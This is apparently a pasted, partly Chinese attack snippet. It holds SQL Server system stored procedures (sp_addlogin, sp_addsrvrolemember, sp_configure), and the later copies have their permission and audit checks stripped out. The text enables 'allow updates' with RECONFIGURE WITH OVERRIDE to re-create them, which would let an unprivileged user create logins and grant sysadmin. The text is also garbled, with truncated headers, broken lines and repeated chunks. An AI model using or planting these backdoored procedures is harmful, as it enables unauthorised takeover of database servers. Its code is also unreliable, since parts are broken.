CONFIGURABLE???
,@deflanguage sysname = Null
,@sid varbinary(16) = Null
,@encryptopt varchar(20) = Null
AS
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
Declare @ret int -- return value of sp call
-- CHECK PERMISSIONS --
IF (not is_srvrolemember('securityadmin') = 1)
begin
dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)
raiserror(15247,-1,-1)
return (1)
end
ELSE
begin
dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)
end
-- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,'sp_addlogin')
return (1)
end
-- VALIDATE LOGIN NAME AS:
-- (1) Valid SQL Name (SQL LOGIN)
-- (2) No backslash (NT users only)
-- (3) Not a reserved login name
execute @ret = sp_validname @loginame
if (@ret <> 0)
return (1)
if (charindex('\', @loginame) > 0)
begin
raiserror(15006,-1,-1,@loginame)
return (1)
end
--Note: different case sa is allowed.
if (@loginame = 'sa' or lower(@loginame) in ('public'))
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end
-- LOGIN NAME MUST NOT ALREADY EXIST --
if exists(select * from master.dbo.syslogins where loginname =
@loginame)
begin
raiserror(15025,-1,-1,@loginame)
return (1)
end
-- VALIDATE DEFAULT DATABASE --
IF db_id(@defdb) IS NULL
begin
raiserror(15010,-1,-1,@defdb)
return (1)
end
-- VALIDATE DEFAULT LANGUAGE --
IF (@deflanguage IS NOT Null)
begin
Execute @ret = sp_validlang @deflanguage
IF (@ret <> 0)
return (1)
end
ELSE
begin
select @deflanguage = name from master.dbo.syslanguages
where langid = @@default_langid --server default
language
if @deflanguage is null
select @deflanguage = N'us_english'
end
-- VALIDATE SID IF GIVEN --
if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
begin
raiserror(15419,-1,-1)
return (1)
end
else if @sid is null
select @sid = newid()
if (suser_sname(@sid) IS NOT Null)
begin
raiserror(15433,-1,-1)
return (1)
end
-- VALIDATE AND USE ENCRYPTION OPTION --
declare @xstatus smallint
select @xstatus = 2 -- access
if @encryptopt is null
select @passwd = pwdencrypt(@passwd)
else if @encryptopt = 'skip_encryption_old'
begin
select @xstatus = @xstatus | 0x800, -- old-style
(30), convert(varchar(30), @passwd)))
end
else if @encryptopt <> 'skip_encryption'
begin
raiserror(15600,-1,-1,'sp_addlogin')
return 1
end
-- ATTEMPT THE Insert OF THE NEW LOGIN --
Insert INTO master.dbo.sysxlogins VALUES
(NULL, @sid, @xstatus, getdate(),
getdate(), @loginame, convert(varbinary(256), @passwd),
db_id(@defdb), @deflanguage)
if @@error <> 0 -- this indicates we saw duplicate row
return (1)
-- Update PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
SYSLOGINS CHANGE --
exec('use master grant all to null')
CONFIGURABLE???
,@deflanguage sysname = Null
,@sid varbinary(16) = Null
,@encryptopt varchar(20) = Null
AS
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
Declare @ret int -- return value of sp call
-- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,'sp_addlogin')
return (1)
end
-- VALIDATE LOGIN NAME AS:
-- (1) Valid SQL Name (SQL LOGIN)
-- (2) No backslash (NT users only)
-- (3) Not a reserved login name
execute @ret = sp_validname @loginame
if (@ret <> 0)
return (1)
if (charindex('\', @loginame) > 0)
begin
raiserror(15006,-1,-1,@loginame)
return (1)
end
--Note: different case sa is allowed.
if (@loginame = 'sa' or lower(@loginame) in ('public'))
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end
-- LOGIN NAME MUST NOT ALREADY EXIST --
if exists(select * from master.dbo.syslogins where loginname =
@loginame)
begin
raiserror(15025,-1,-1,@loginame)
return (1)
end
-- VALIDATE DEFAULT DATABASE --
IF db_id(@defdb) IS NULL
begin
raiserror(15010,-1,-1,@defdb)
return (1)
end
-- VALIDATE DEFAULT LANGUAGE --
IF (@deflanguage IS NOT Null)
begin
Execute @ret = sp_validlang @deflanguage
IF (@ret <> 0)
return (1)
end
ELSE
begin
select @deflanguage = name from master.dbo.syslanguages
where langid = @@default_langid --server default
language
if @deflanguage is null
select @deflanguage = N'us_english'
end
-- VALIDATE SID IF GIVEN --
if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
begin
raiserror(15419,-1,-1)
return (1)
end
else if @sid is null
select @sid = newid()
if (suser_sname(@sid) IS NOT Null)
begin
raiserror(15433,-1,-1)
return (1)
end
-- VALIDATE AND USE ENCRYPTION OPTION --
declare @xstatus smallint
select @xstatus = 2 -- access
if @encryptopt is null
select @passwd = pwdencrypt(@passwd)
else if @encryptopt = 'skip_encryption_old'
begin
select @xstatus = @xstatus | 0x800, -- old-style
(30), convert(varchar(30), @passwd)))
end
else if @encryptopt <> 'skip_encryption'
begin
raiserror(15600,-1,-1,'sp_addlogin')
return 1
end
-- ATTEMPT THE Insert OF THE NEW LOGIN --
Insert INTO master.dbo.sysxlogins VALUES
(NULL, @sid, @xstatus, getdate(),
getdate(), @loginame, convert(varbinary(256), @passwd),
db_id(@defdb), @deflanguage)
if @@error <> 0 -- this indicates we saw duplicate row
return (1)
-- Update PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
SYSLOGINS CHANGE --
exec('use master grant all to null')
：create procedure sp_addsrvrolemember
@loginame sysname, -- login name
@rolename sysname = NULL -- server role name
as
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
declare @ret int, -- return value of sp call
@rolebit smallint,
@ismem int
-- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,'sp_addsrvrolemember')
return (1)
end
-- VALIDATE SERVER ROLE NAME, CHECKING PERMISSIONS --
select @ismem = is_srvrolemember(@rolename)
if @ismem is null
begin
dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,
NULL)
raiserror(15402, -1, -1, @rolename)
return (1)
end
if @ismem = 0
begin
dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,
-- CANNOT CHANGE SA ROLES --
if @loginame = 'sa'
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end
-- OBTAIN THE BIT FOR THIS ROLE --
select @rolebit = CASE @rolename
WHEN 'sysadmin' THEN 16
WHEN 'securityadmin' THEN 32
WHEN 'serveradmin' THEN 64
WHEN 'setupadmin' THEN 128
WHEN 'processadmin' THEN 256
WHEN 'diskadmin' THEN 512
WHEN 'dbcreator' THEN 1024
WHEN 'bulkadmin' THEN 4096
ELSE NULL END
-- ADD ROW FOR NT LOGIN IF NEEDED --
if not exists(select * from master.dbo.syslogins where
loginname = @loginame)
begin
execute @ret = sp_MSaddlogin_implicit_ntlogin @loginame
if (@ret <> 0)
begin
raiserror(15007,-1,-1,@loginame)
return (1)
end
end
-- Update ROLE MEMBERSHIP --
update master.dbo.sysxlogins set xstatus = xstatus | @rolebit,
xdate2 = getdate()
where name = @loginame and srvid IS NULL
-- Update PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
SYSLOGINS CHANGE --
exec('use master grant all to null')
@configname varchar(35) = NULL -- option name to configure
,@configvalue int = NULL -- new configuration value
as
set nocount on
declare
@confignum int --Num of the opt to be configured
,@configcount int --Num of options like @configname
,@show_advance int --Y/N Read&Write actions on
"advanced" opts
declare @fullconfigname varchar (35)
declare @prevvalue int
/*
** Determine @maxnumber based on advance option in syscurconfigs.
*/
if (select value from master.dbo.syscurconfigs where config = 518) = 1
select @show_advance = 1 -- Display advanced options
else
select @show_advance = 0 -- Don''t display advanced options
/*
** Make certain that max user info. reflects any addpak upgrades.
*/
if (select high from master.dbo.spt_values where number=103 and
type=''C'')
<> @@max_connections
update master.dbo.spt_values
set high = @@max_connections
where number = 103
and type=''C''
/*
** If no option name is given, the procedure will just print out all
the
** options and their values.
*/
if @configname is NULL
begin
select name, minimum = low, maximum = high,
config_value = c.value,
run_value = master.dbo.syscurconfigs.value
from master.dbo.spt_values, master.dbo.sysconfigures c,
master.dbo.syscurconfigs
where type = ''C''
and number = c.config
and number = master.dbo.syscurconfigs.config
and
((c.status & 2 <> 0 and @show_advance = 1)
or
(c.status & 2 = 0)
)
order by lower(name)
return (0)
end
/*
** Use @configname and try to find the right option.
** If there isn''t just one, print appropriate diagnostics and return.
*/
select @configcount = count(*), @fullconfigname = min (v.name),
@prevvalue = min (c.value)
from master.dbo.spt_values v ,master.dbo.sysconfigures c
where v.name like ''%'' + @configname + ''%'' and v.type = ''C''
and v.number = c.config
and
((c.status & 2 <> 0 and @show_advance = 1)
or
(c.status & 2 = 0)
)
/*
** If no option, show the user what the options are.
*/
if @configcount = 0
begin
raiserror (15123,-1,-1,@configname)
print '' ''
raiserror (15456,-1,-1)
/*
** Show the user what the options are.
*/
select name, minimum = low, maximum = high,
config_value = c.value,
run_value = master.dbo.syscurconfigs.value
from master.dbo.spt_values, master.dbo.sysconfigures c,
master.dbo.syscurconfigs
where type = ''C''
and number = c.config
and number = master.dbo.syscurconfigs.config
and
((c.status & 2 <> 0 and @show_advance = 1)
or
(c.status & 2 = 0)
)
return (1)
end
/*
** If more than one option like @configname, show the duplicates and
return.
*/
if @configcount > 1
begin
raiserror (15124,-1,-1,@configname)
print '' ''
select duplicate_options = name
from master.dbo.spt_values,master.dbo.sysconfigures c
where name like ''%'' + @configname + ''%''
and type = ''C''
and number = c.config
and
((c.status & 2 <> 0 and @show_advance = 1)
or
(c.status & 2 = 0)
)
return (1)
end
else
/* There must be exactly one, so get the full name. */
select @configname = name --,@value_in_sysconfigures = c.value
from master.dbo.spt_values,master.dbo.sysconfigures c
where name like ''%'' + @configname + ''%'' and type = ''C''
and number = c.config
and
((c.status & 2 <> 0 and @show_advance = 1)
or
(c.status & 2 = 0)
)
/*
** If @configvalue is NULL, just show the current state of the option.
*/
if @configvalue is null
begin
select v.name
,v.low as ''minimum''
,v.high as ''maximum''
,c.value as ''config_value''
,u.value as ''run_value''
from
master.dbo.spt_values v left outer join
master.dbo.sysconfigures c on v.number = c.config
left outer join
master.dbo.syscurconfigs u on v.number = u.config
where
v.type = ''C ''
and v.name like ''%'' + @configname + ''%''
and
((c.status & 2 <> 0 and @show_advance = 1)
or
(c.status & 2 = 0)
)
return (0)
end
/*
** Now get the configuration number.
*/
select @confignum = number
from master.dbo.spt_values,master.dbo.sysconfigures c
where type = ''C''
and (@configvalue between low and high or @configvalue = 0)
and name like ''%'' + @configname + ''%''
and number = c.config
and
((c.status & 2 <> 0 and @show_advance = 1)
or
(c.status & 2 = 0)
)
/*
** If this is the number of default language, we want to make sure
** that the new value is a valid language id in Syslanguages.
*/
if @confignum = 124
begin
if not exists (select * from master.dbo.syslanguages
where langid = @configvalue)
begin
/* 0 is default language, us_english */
if @configvalue <> 0
begin
raiserror(15127,-1,-1)
return (1)
end
end
end
/*
** If this is the number of kernel language, we want to make sure
** that the new value is a valid language id in Syslanguages.
*/
if @confignum = 132
begin
if not exists (select * from master.dbo.syslanguages
where langid = @configvalue)
begin
/* 0 is default language, us_english */
if @configvalue <> 0
begin
raiserror(15028,-1,-1)
return (1)
end
end
end
/*
** "user options" should not try to set incompatible options/values.
*/
if @confignum = 1534 --"user options"
begin
if (@configvalue & (1024+2048) = (1024+2048)) --
ansi_null_default_on/off
begin
raiserror(15303,-1,-1,@configvalue)
return (1)
end
end
/*
** Although the @configname is good, @configvalue wasn''t in range.
*/
if @confignum is NULL
begin
raiserror(15129,-1,-1,@configvalue,@configname)
return (1)
end
--Msg 15002, but in 6.5 allow this inside a txn (not check @@trancount)
#12828.
/*
** Now update sysconfigures.
*/
update master.dbo.sysconfigures set value = @configvalue
where config = @confignum
/*
** Flush the procedure cache - this is to account for options which
become
** effective immediately (ie. dont need a server restart).
*/
dbcc freeproccache
raiserror(15457,-1,-1, @fullconfigname, @prevvalue, @configvalue) with
log
return (0) -- sp_configure
GO
ok，我们再
sp_configure ''allow updates'',1
go
RECONFIGURE WITH OVERRIDE
go
CONFIGURABLE???
,@deflanguage sysname = Null
,@sid varbinary(16) = Null
,@encryptopt varchar(20) = Null
AS
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
Declare @ret int -- return value of sp call
-- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,''sp_addlogin'')
return (1)
end
-- VALIDATE LOGIN NAME AS:
-- (1) Valid SQL Name (SQL LOGIN)
-- (2) No backslash (NT users only)
-- (3) Not a reserved login name
execute @ret = sp_validname @loginame
if (@ret <> 0)
return (1)
if (charindex(''\'', @loginame) > 0)
begin
raiserror(15006,-1,-1,@loginame)
return (1)
end
--Note: different case sa is allowed.
if (@loginame = ''sa'' or lower(@loginame) in (''public''))
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end
-- LOGIN NAME MUST NOT ALREADY EXIST --
if exists(select * from master.dbo.syslogins where loginname =
@loginame)
begin
raiserror(15025,-1,-1,@loginame)
return (1)
end
-- VALIDATE DEFAULT DATABASE --
IF db_id(@defdb) IS NULL
begin
raiserror(15010,-1,-1,@defdb)
return (1)
end
-- VALIDATE DEFAULT LANGUAGE --
IF (@deflanguage IS NOT Null)
begin
Execute @ret = sp_validlang @deflanguage
IF (@ret <> 0)
return (1)
end
ELSE
begin
select @deflanguage = name from master.dbo.syslanguages
where langid = @@default_langid --server default
language
if @deflanguage is null
select @deflanguage = N''us_english''
end
-- VALIDATE SID IF GIVEN --
if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
begin
raiserror(15419,-1,-1)
return (1)
end
else if @sid is null
select @sid = newid()
if (suser_sname(@sid) IS NOT Null)
begin
raiserror(15433,-1,-1)
return (1)
end
-- VALIDATE AND USE ENCRYPTION OPTION --
declare @xstatus smallint
select @xstatus = 2 -- access
if @encryptopt is null
select @passwd = pwdencrypt(@passwd)
else if @encryptopt = ''skip_encryption_old''
begin
select @xstatus = @xstatus | 0x800, -- old-style
(30), convert(varchar(30), @passwd)))
end
else if @encryptopt <> ''skip_encryption''
begin
raiserror(15600,-1,-1,''sp_addlogin'')
return 1
end
-- ATTEMPT THE Insert OF THE NEW LOGIN --
Insert INTO master.dbo.sysxlogins VALUES
(NULL, @sid, @xstatus, getdate(),
getdate(), @loginame, convert(varbinary(256), @passwd),
db_id(@defdb), @deflanguage)
if @@error <> 0 -- this indicates we saw duplicate row
return (1)
-- Update PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
SYSLOGINS CHANGE --
exec(''use master grant all to null'')
create procedure sp_addsrvrolemember
@loginame sysname, -- login name
@rolename sysname = NULL -- server role name
as
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
declare @ret int, -- return value of sp call
@rolebit smallint,
@ismem int
-- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,''sp_addsrvrolemember'')
return (1)
end
-- CANNOT CHANGE SA ROLES --
if @loginame = ''sa''
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end
-- OBTAIN THE BIT FOR THIS ROLE --
select @rolebit = CASE @rolename
WHEN ''sysadmin'' THEN 16
WHEN ''securityadmin'' THEN 32
WHEN ''serveradmin'' THEN 64
WHEN ''setupadmin'' THEN 128
WHEN ''processadmin'' THEN 256
WHEN ''diskadmin'' THEN 512
WHEN ''dbcreator'' THEN 1024
WHEN ''bulkadmin'' THEN 4096
ELSE NULL END
-- ADD ROW FOR NT LOGIN IF NEEDED --
if not exists(select * from master.dbo.syslogins where
loginname = @loginame)
begin
execute @ret = sp_MSaddlogin_implicit_ntlogin @loginame
if (@ret <> 0)
begin
raiserror(15007,-1,-1,@loginame)
return (1)
end
end
-- Update ROLE MEMBERSHIP --
update master.dbo.sysxlogins set xstatus = xstatus | @rolebit,
xdate2 = getdate()
where name = @loginame and srvid IS NULL
-- Update PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
SYSLOGINS CHANGE --
exec(''use master grant all to null'')
